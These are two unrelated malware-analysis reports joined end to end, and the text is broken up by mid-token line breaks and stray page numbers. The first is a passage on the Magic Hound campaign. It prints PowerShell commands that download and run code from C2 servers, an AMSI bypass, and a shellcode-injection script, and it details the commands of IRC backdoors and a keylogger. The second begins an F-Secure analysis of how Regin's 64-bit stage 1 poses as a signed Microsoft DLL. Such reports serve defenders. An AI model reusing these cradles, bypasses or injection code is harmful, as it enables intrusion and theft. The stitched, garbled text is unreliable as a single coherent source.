The macro carries out this first technique by running the following command: 1 powershell.exe -w hidden -noni -nop -c iex(New-Object System.
Net.
WebClient).DownloadString(hxxp://139.59.46.154:3485/eiloShaegae1) The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.
]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code.
The Unicorn source code contains a comment for this specific PowerShell command, which is described as a one line shellcode injection with native x86 shellcode.
The shellcode begins with a stub that is responsible for decrypting additional shellcode.
To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362 and XOR the first DWORD of the additional shellcode.
It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on.
After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system.
The assembly code used to create the shellcode can be obtained from: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL hxxp://45.76.128[.
]165:4443/0w0O6.
We are unsure of the shellcode hosted at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode.
Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.
]154:3485/eiloShaegae1 to obtain additional code to execute.
On January 1, 2017, we observed this URL responding to the above HTTP request with the following data: 1 powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF As you can see, the C2 server responds with a PowerShell command that will run on the system.
The PowerShell command decodes to the following: 11/19 https://github.com/trustedsec/unicorn https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm 1 2 3 4 5 6 7 8 9 10 11 12 13 command WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA if (Env:PROCESSOR_ARCHITECTURE -eq AMD64)  exec  Env:windir  \SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded    command IEX exec  else  exec  [System.
Convert]::FromBase64String(command) exec  [Text.
Encoding]::Unicode.
GetString(exec) IEX exec  The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following: 1 2 3 4 5 [Net.
ServicePointManager]::ServerCertificateValidationCallback  true try [Ref].Assembly.
GetType(System.
Management.
Automation.
AmsiUtils).GetField(amsiInitFailed, NonPublic,Static).SetValue(null, true) catch IEX (New-Object Net.
WebClient).DownloadString(http:// 139.59.46[.
]154:3485 /IMo8oosieVai) This decoded PowerShell script attempts to download and execute a file using HTTP from the URL hxxp:// 139.59.46[.
]154:3485 /IMo8oosieVai.
The C2 server will respond to this HTTP GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded using the following code: 1 PEBytesTotal [System.
Convert]::FromBase64String(PEBytes0PEBytes1PEBytes2PEBytes3PEBytes4PEBytes5PEBytes6PEBytes7PEBytes8PEBytes9PEBytes10PEBytes11 The PowerShell script loads the DLL payload directly into memory without saving it to the disk.
The Pupy payload was generated using the following configuration, which shows the C2 IP/port and the use of the obfs3 transport: 1 LAUNCHER_ARGS[--host, 139.59.46[.
]154:3543, -t, obfs3] It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents: https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py MAGICHOUND.FETCH The custom loader Trojan used by this group, which we call MagicHound.
Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to download and execute a secondary payload.
To set up persistence, the loader creates a folder named c:\temp, sets its attributes to be a hidden and system folder to hide the folder from view in Windows Explorer.
It then writes a file named rr.exe (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with specific command line arguments.
During our analysis, we observed one loader running rr.exe with the following arguments: 1 open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run C:\DOCUME1\ADMINI1\LOCALS1\Temp\spp.exe iexplore The rr.exe payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts.
In the example above, the spp.exe executable would be added to an auto-run registry key at: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key agkrhfpdbvhdhrkj however, the loaders main goal involved running the following command: 1 /c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA The base64 encoded command decodes to the following: 1 0o8e  f9B  [DllImport(kernel32.dll)]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect)[DllImport(kernel32.dll)]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId) [DllImport(msvcrt.dll)]public static extern IntPtr memset(IntPtr dest, uint src, uint count)w  Add-Type -memberDefinition f9B -Name Win32 -namespace Win32Functions - passthru[Byte[]][Byte[]]z  shellcode REDACTED for brevityg  0x1000if (z.Length -gt 0x1000)g  z.LengthrJrw::VirtualAlloc(0,0x1000,g,0x40)for (i0i -le (z.Length-1)i) w::memset([IntPtr](rJr.
ToInt32()i), z[i], 1)w::CreateThread(0,0,rJr,0,0,0)for ()Start-sleep 60e [System.
Convert]::ToBase64String([System.
Text.
Encoding]::Unicode.
GetBytes(0o8e))DKn  -enc if([IntPtr]::Size -eq 8)b32  env:SystemRoot \syswow64\WindowsPowerShell\v1.0\powershelliex  b32 DKn eelseiex  powershell DKn e The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it.
We found the command above within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents.
The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.
]date/0m5EE We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload.
However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload.
The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload.
PUPY LOADER Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and  We have seen the Magic Hound actors using both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems.
We have gathered three samples of the default loader associated with this group and extracted the following 12/19 https://github.com/n1nj4sec/pupy/blob/master/pupy/pupylib/payloads/ps1_oneliner.py https://github.com/trustedsec/unicorn/blob/master/unicorn.py configurations: SHA256 of Sample Configuration 82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 LAUNCHER_ARGS[host, www1.chrome-up[.
]date:4443, -t, obfs3] db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f LAUNCHER_ARGS[host, www1.chrome-up[.
]date:4443, -t, obfs3] 7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 LAUNCHER_ARGS[host, 139.59.46[.
]154:3543, -t, obfs3] These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers.
Also, the configurations show the use of the obfs3 (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol.
The obfs3 is used in the Tor project and the specifics of this transport can be found at the Tor Project.
MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.
DropIt.
The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order.
In all of the DropIt samples we collected, the dropper will then save the executable to the users TEMP folder and execute the file, specifically to one of the following filenames: TEMP\spp.exe TEMP\sloo.exe TEMP\spoo.exe TEMP\vschos.exe We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload.
For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to TEMP\flash_update.exe that was a legitimate Flash Player installer.
We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social engineering, which in the example above included coercing the victim into updating their Flash Player.
MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.
Retriever.
At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound.
While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named c:\temp that the Magic Hound loader creates to store its persistence executable, as previously discussed.
The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure makes a higher fidelity connection between the two.
The Retriever Trojan uses the following namespace: using pcchekapp.grp.ammar.samaneh Android.
The malware begins by creating a web service object and uses the following URL within its configuration: http:// service.chrome-up[.
]date:8080 /WebService.asmx It then calls a function called SetLog2, which sets variables for the systems IP address, MAC address and hostname.
A password variable is available but unused in this sample.
The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system.
The code obtains the external IP address via an HTTP request using to http://checkip.dyndns.org/ and uses a regular expression to locate an IP address from the HTTP response.
Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as: As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request.
All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests.
Instead, we will refer to the specific SOAP action (see SOAPAction field in previous example, specifically SetLog2) that the Trojan requests from the C2 server and the response from the C2 server.
After sending the C2 the system information, the malware then issues a second request for GetHasAnything, which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install.
If the C2 server provides any response to the GetHasAnything request, it then calls the GetIdAbOne SOAP method to obtain what we believe is a unique identifier for the system that the Trojan will use for further interaction with the C2.
After receiving this variable, the Trojan calls the GetNameAbById to obtain a base64 string that will be the filename written in a newly created c:\temp (decoded from YzpcdGVtcFw) folder.
The Trojan will then call GetAbById,  which the C2 will provide a base64 string for the contents for the file to write to c:\temp.
After obtaining the unique ID from the C2 server, the Trojan calls the SetAbStatById method to notify the C2 server of its status of 1 to notify the server it had successfully received the filename and file data.
13/19 https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/doc/obfs3/obfs3-protocol-spec.txt With the file written to the system, the Trojan calls the GetishideAbById SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window.
This request is followed by a call to GetisrunasAbById to determine if the Trojan should use runas to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click.
Unfortunately, we were unable to obtain a secondary payload from an active C2 server.
MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.
Leash.
This tool was discovered when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications.
The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a channel using the following IRC commands: USER AS_a   :des NICK Conroy JOIN :kalk Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server.
The following commands are available: Command SubCommand Description VER Generates the following IRC client command that will be sent to the C2 server: PRIVMSG username :    8 LED 20160124 KILL Trojan disconnects from the IRC server and terminates itself RESET Trojan disconnects from the IRC server and runs the executable again OS Obtains the Windows version and responds to the C2 with the following message PRIVMSG :: Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info SH EXEC Not supported MD Creates a specified directory.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be dir is maked.
if successful or dir is not maked if unsuccessful.
MKDIR Same as MD subcommand.
RD Removes a specified directory.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be dir is removed.
if successful or dir is not removed.
if unsuccessful.
DEL Deletes a specified file.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be file is deleted.
if successful or file is not deleted.
if unsuccessful.
COPY Not supported.
MOVE Not supported.
REN Renames a specified file.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be file is renamed.
if successful or file is not renamed.
if unsuccessful.
DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices.
EXE Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server.
DWN Downloads a file from a specified URL.
Responds to the IRC server via PRIVMSG with Download  Success :FilePath  or Download Fail if unsuccessful.
CMD Trojan executes a command prompt command.
The Trojan will save the output of the command to TEMP\win .txt and send the contents to the C2 server or The length of Cmd result file is ziro if the command was unsuccessful.
SA Generates the following IRC client command that will be sent to the C2 server: PRIVMSG : Hello ,my name is  , Im ready my Computer Name is: All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with AS_ or AF_.
This suggests that the adversarys 14/19 IRC nickname would need to have these prefixes to control the systems infected with this Trojan.
The adversary could have used this name requirement as an added measure to make sure other individuals did not join the IRC server and begin interacting with compromised systems.
15/19 16/19 17/19 MPKBot We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on as a C2 server instead.
This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a threat group called Rocket Kitten.
We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them.
From a behaviorial standpoint, both the IRC and custom protocol version of MPK save tmp.vbs and tmp1.vbs to the TEMP folder (both differed slightly but used the same variable names within the script) in order to copy the Trojan to its final location and to execute it.
Both variants need to be executed with the command line argument [2] to avoid continually attempting to copy and execute the Trojan using the tmp.vbs and tmp1.vbs files.
The two variants of MPK share the same registry key that the Trojan uses to automatically run each time the system starts, specifically: [HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file.
The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at temp\Save.tmp.
The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain: Gmail - Yahoo  login Sign In - Outlook.com - MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format: ///////////// Mail Find email address /////////// If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the Save.tmp file in the following format:  Window window title  The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used.
The IRC variant creates a mutex named mpk1 and attempts to connect to an IRC server at 45.58.37[.
]142:6667.
The MPK bot generates a random lowercase name and uses it to log into the IRC server.
It then sends the following IRC commands: NICK bxphzrjbxp 18/19 http://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects: Welcome to the MpkNet IRC Network The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick mpk.
After connecting to the IRC server, the MPK bot sends custom ping messages and provides an introduction via a Hello message that contains the current logged in user of the infected host, if the user has administrator privileges, the hostname, the UUID of the system, and operating system version.
Figure 7 shows the initial private messages sent from the MPK bot to the mpk account on the C2 server.
Figure 7 Initial private messages sent from MPK to the IRC C2 server The commands available within the MPK IRC bot are called via a jump table, rather than a switch statement used in the custom protocol variant of MPK.
The IRC variant of MPK has a command set (Table 2) that makes this an effective backdoor Trojan, specifically allowing the actors to steal credentials from the targeted system via keylogging, to navigate and interact with the file system, to run arbitrary commands, and to download and execute additional tools on the system.
Command Description Dir Lists the contents of a specified directory Drives Enumerates the storage drives attached to the system and their respective type.
DeleteFile Deletes a specified file NickChange Changes the nickname that the Trojan uses to log into the C2 IRC server.
Writes it to nick435.tmp for subsequent logins.
ProcessList List running processes, including their PID, parent PID, executable name and priority SendFileToServer Uploads a specified file to the C2 server CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server.
Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version.
ProcessKill Terminates a process based on PID RenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server.
GetFileOfServer Writes a file from the C2 server to a specified file ExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2.
ExeCuteFile Executes a specified file using ShellExecuteA DeleteFileFolder Deletes a file or a folder SendkeyLogToServer Uploads the TEMP\Save.tmp file to the C2 server DeleteKeyloggerLog Deletes the TEMP\Save.tmp file on the system Table 2 Commands available within MPK IRC Bot 19/19 Magic Hound Campaign Attacks Saudi Targets ATTACK DETAILS INFRASTRUCTURE MAGIC HOUND TOOLSET MAGICHOUND.ROLLOVER MAGICHOUND.FETCH PUPY LOADER MAGICHOUND.DROPIT MAGICHOUND.RETRIEVER MAGICHOUND.LEASH MPKBot CONCLUSION INDICATORS OF COMPROMISE Appendix MAGICHOUND.FETCH PUPY LOADER MAGICHOUND.DROPIT MAGICHOUND.RETRIEVER MAGICHOUND.LEASH MPKBot
W64/Regin, Stage 1 Contents 1.
Introduction 2 2.
General information 2 3.
Hiding technique 3 3.1  Mimicking a valid Microsoft Dynamic Link Library 3 3.2  The certificate 4 4.
Malware analysis 6 4.1  Deployment and startup 6 4.2  Content retrieval 6 4.2.1  The virtual machine and its meta-language 7 4.3  Content loading and mapping 11 4.3.1  The QuickPeParse64 function 12 4.3.2  Headers, Sections and Imports 13 4.3.3  Relocations 14 4.4  Payload invocation 14 4.5  Cleanup 15 5.
Conclusions 16 ABstRACt In this document we describe the inner workings of the stage 1 of the complex malware threat by the name of Regin, specifically the version targeted at 64-bit machines running the Microsoft Windows operating system.
Paolo Palumbo Senior Researcher Security Response F-Secure Labs Twitter: paolo_3_1415926 Contact F-Secure Incident Response irtf-secure.com MAlwARe AnAlysis RepoRt tlp: wHite mailto:irtf-secure.com 2 Malware analysis report 1.
intRoduCtion In this document we present the results of our analysis of a sample of Regins stage 1 for 64-bit machines the document will focus on a number of different items, both high and low level in nature.
We will cover items such as the main purpose of the sample the virtual machine used to retrieve and process the raw payload, with its implementation and its meta- language the samples strategy to remain unnoticed and avoid raising suspicions.
2.
GeneRAl infoRMAtion The analysis in this document is based on the a sample received by F-Secure Labs with the following SHA1: sHA1: 5191d7e28ffd1bc76ec7ed02d861679a77f2c239 An examination of the static properties of the file reveals that the file is a 64-bit Dynamic Link Library for the Microsoft Windows operating system.
The files PE headers provide also the following interesting information: 1.
The creation time of the file is 19:37:07, 25.11.2011 according to the PE headers TimeDateStamp field.
2.
The linker version is set to 9.00.
This is consistent with Visual Studio 2008 Orcas, initially released in 2007.
Despite not being the latest version of Microsofts development tools available at the moment of the (suspected) compilation of the DLL, Visual Studio 2008 is able to generate x64 binaries.
This might hint at the fact that this binary was produced using an existing development framework as part of an existing operation.
3.
The binary appears to be digitally signed by Microsoft.
The digital signature will be further considered in section 4, but it is at this point interesting to note that the validity range of the certificate does encompass the binary creation date as specified in the PE header.
Keeping in mind that the adversary has done a tremendous effort in camouflaging this binary, it is reasonable to assume that the binary was indeed produced at the time specified by the PE header.
4.
The DLL exports 16 functions, which are simply forwarders for functions exported by wshtcpip.dll, a standard component of Microsoft Windows.
These exports will be considered again in section 4.
The analysis of the samples strings, in combination with the symbols specifically imported from other modules, hint at the fact that the sample we have analyzed might interact at a low level with physical drives of the machine it is running on.
For example, the string PRIVHEAD is a strong indicator that the sample might have some knowledge of Microsoft Windows Logical Disk Manager (LDM) in fact, such PRIVHEAD is the expected magic value for LDMs PRIVATE_HEADER structures.
Proper malware analysis presented in section 4 will confirm these suspicions.
Finally, the string \\.\WINDOWS is particularly interesting.
The format of the string, specifically the WINDOWS substring between angular brackets, is an indication of a strong connection between this sample and 32-bit samples of stage 1 of the complex threat named Regin in fact, samples of Regins 32-bit stage 1 used a similar format to mark strings that needed expansion.
3W64/Regin, Stage 1 3.
HidinG teCHnique We could simply say that the 64-bit version of Regins stage 1 hides in plain sight.
In fact, in contrast with most malicious software, this component is not packed or protected in any way from code inspection and reverse engineering.
Instead, its structure is designed to fool investigators and users of a victim machine into believing that the malware is simply another standard component of the operating system.
Two particular aspects of the sample structure will be covered in detail in sections 3.1 and 3.2.
3.1  Mimicking a valid Microsoft dynamic link library From the DLLs export table and version information, we can see that the original name of the module is wshnetc.dll.
This name is strongly reminescent of the other winsock-related system libraries that can be found on a clean Windows computer, in the system folder.
Moreover, a victim would not be surprised to see that the description of this particular module is Winsock 2 Helper DLL (TL/IPv4).
In general, the characteristics highlighted above in conjunction with the remainder of the file properties would make up for a very convincing decoy even for a technically astute victim.
The file properties as they would be presented to the user are shown in Figure 1.
Figure 1: Visualizing the properties of the sample Looking again at the export table, we notice that the sample exports 16 different functions, which are exactly the same that are exported by Windows own wshtcpip.dll.
The sample does not provide the implementation of these functions, but it simply forwards the exports to wshtcpip.dll in the remote case that someone would try using these functions.
The list of symbols exported by the sample is reported in Listing 1.
Listing 1: Symbols exported by the sample wshnetc.dll : WSHAddressToString wshnetc.dll : WSHEnumProtocols wshnetc.dll : WSHGetBroadcastSockaddr wshnetc.dll : WSHGetProviderGuid Continues overleaf 4 Malware analysis report wshnetc.dll : WSHGetSockaddrType wshnetc.dll : WSHGetSocketInformation wshnetc.dll : WSHGetWSAProtocolInfo wshnetc.dll : WSHGetWildcardSockaddr wshnetc.dll : WSHGetWinsockMapping wshnetc.dll : WSHIoctl wshnetc.dll : WSHJoinLeaf wshnetc.dll : WSHNotify wshnetc.dll : WSHOpenSocket wshnetc.dll : WSHOpenSocket2 wshnetc.dll : WSHSetSocketInformation wshnetc.dll : WSHStringToAddress It is then clear that the authors of this malware have spent a considerable amount of time camouflaging their creation as a system file.
If we consider that it is probable that the sample would be located inside the system folder on a compromised system, it is very easy to see how its techniques might be very effective.
Moreover, effectively stealing the exported functionalities from a different system module might deceive even a victim with a strong technical background.
3.2  the certificate The authors of this sample have also digitally signed the malware, with the intent to give it additional credibility and to make it look as if it was a Microsoft file.
Keeping in mind the what was said about samples exports in section 3.1, it is even more likely that with the digital signature they were trying to camouflage the sample as a legitimate Microsoft Windows system file.
The Authenticode signature is, in itself, valid, but the certificate properties (shown in Figure 2), highlight the inability of the system to find and validate the issuer of this certificate.
The certificates validity period is from 15/7/2011 to 14/10/2012 the fact that the compilation timestamp from the files PE header is inside this range makes us believe that the binary was indeed built on November 25th, 2011.
Moreover, combining the alleged compilation time and the certificate validity range, we can speculate that this binary was probably updated regularly.
The issuer of the certificate is an alleged Microsoft Root Authority.
This name resembles a valid Microsoft issuer, but if we focus on the KeyID we find that such entry does not match any of the known Microsoft Root Authority IDs.
Details about the supposed issuer of the certificate are presented below.
KeyID41 68 26 6a 16 60 0f 36 41 19 af 06 f9 54 4d 06 Certificate Issuer: CNMicrosoft Root Authority OUMicrosoft Corporation OUCopyright (c) 1997 Microsoft Corp Certificate SerialNumber0c ea ea 19 bb bd 4f 86 4e b7 e9 47 97 cf 74 a8 It is also interesting to notice that, while the malware claims to be signed by Microsoft, the certification path does not show the same structure of proper Microsoft-signed binaries specifically, there is a lack of an intermediary before Microsofts Root Certificate Authority (CA).
The certification path for the malware versus the one from a valid Microsoft- signed binary is shown in Figure 3.
It is likely that the authors of this threat have used standard signing tools to create such a certificate hierarchy they then deployed the signed binary in combination with the root certificate.
Continued 5W64/Regin, Stage 1 Figure 2: Inspecting the certificate properties Figure 3: The certificate (left) does not follow the customary approach followed by Microsoft.
A proper Microsoft- signed binary is shown on the right for comparison Regins 64-bit stage 1 component is not the first piece of malware pretending  to be signed by Microsoft.
What is more interesting to consider is how this particular certificate might have been useful to keep the sample operating under the radar on a compromised machine.
6 Malware analysis report 4.
MAlwARe AnAlysis In this section we will detail the results of the analysis of Regins 64-bit stage 1 component.
Based on our analysis of the malwares functionalities, the sample can be considered a support module  its sole purpose is to facilitate the operation of additional user-mode, 64 bit modules by loading and transferring control to them.
The malwares payload is stored on the disk of the infected machine, in a specific location among the gap between the end of the last partition [1] and the end of the disk itself.
Such payload is read by the malware, possibly decrypted and decompressed, mapped into memory and given control to.
To be usable, the payload must be another 64-bit usermode DLL, with at least a symbol exported by ordinal.
Once the payload completes its duty, Regins 64-bit stage 1 component carefully removes all traces of its presence by overwriting memory areas before freeing them.
From our analysis of the sample, it is clear that whoever has created this piece of malware is a professional developer with a solid experience, with detailed knowledge of low-level and Windows security concepts.
It is also clear that Regin is a complex threat.
What we have seen of Regin hints strongly at capabilities that extend beyond the realm of normal malware: support for basically the whole set of Microsoft NT-based operating systems, including newer, 64 bit versions appropriately selected techniques to remain unseen on compromised systems ability to support generic payloads professional code.
Everything from these samples leads us to believe that Regin is been used as part of an extensive operation.
4.1  deployment and startup At the time of writing, it is not known how the Regin 64-bit samples are deployed to target systems our analysis of the samples interactions with the system show that the the sample is no different from any other Dynamic Link Library.
We therefore believe that Regins 64-bit stage 1 samples are installed and made persistend as any other Dynamic Link Library.
4.2  Content retrieval The malware will attempt to retrieve the its payload from the victim computers hard drive.
The retrieval is performed according to the specifications contained in a meta-program embedded in the malwares body, which initially lies encrypted inside the malware body.
Very early in the execution the malware will decrypt the retrieval program, and execute it to fetch the possible payload from the infected system.
The reconstructed program for the malwares virtual machine is presented in Algorithm 1, while the details of the virtual machine implementation and of its language will be presented in detail in section 4.2.1.
Algorithm 1: Payload retrieval program embedded in the analyzed sample begin id  1 decryption_key  [0xA4, 0x4B, 0xAE, 0xF0, 0x98, 0x4C, 0x56, 0x33] output_buffer_size  0xB600 OPERATION_TYPE_LOAD(id) OPERATION_TYPE_DECRYPT(decryption_key) OPERATION_TYPE_DECOMPRESS(output_buffer_size) end [1] Last in the sense of farthest from the beginning of the disk.
7W64/Regin, Stage 1 4.2.1  The virtual machine and its meta-language The sample is designed to retrieve, map and execute a payload from a previously infected system the payload is a PE32 DLL for Microsoft Windows.
How such payload is retrieved and what transformations are applied to it are controlled by a meta program for a simple virtual machine that is embedded in the malware.
The malware will locate and decrypt this program from its own body as the first step in attempting to find and load its payload.
The structure of a program written for this Virtual Machine is presented in Listing 2.
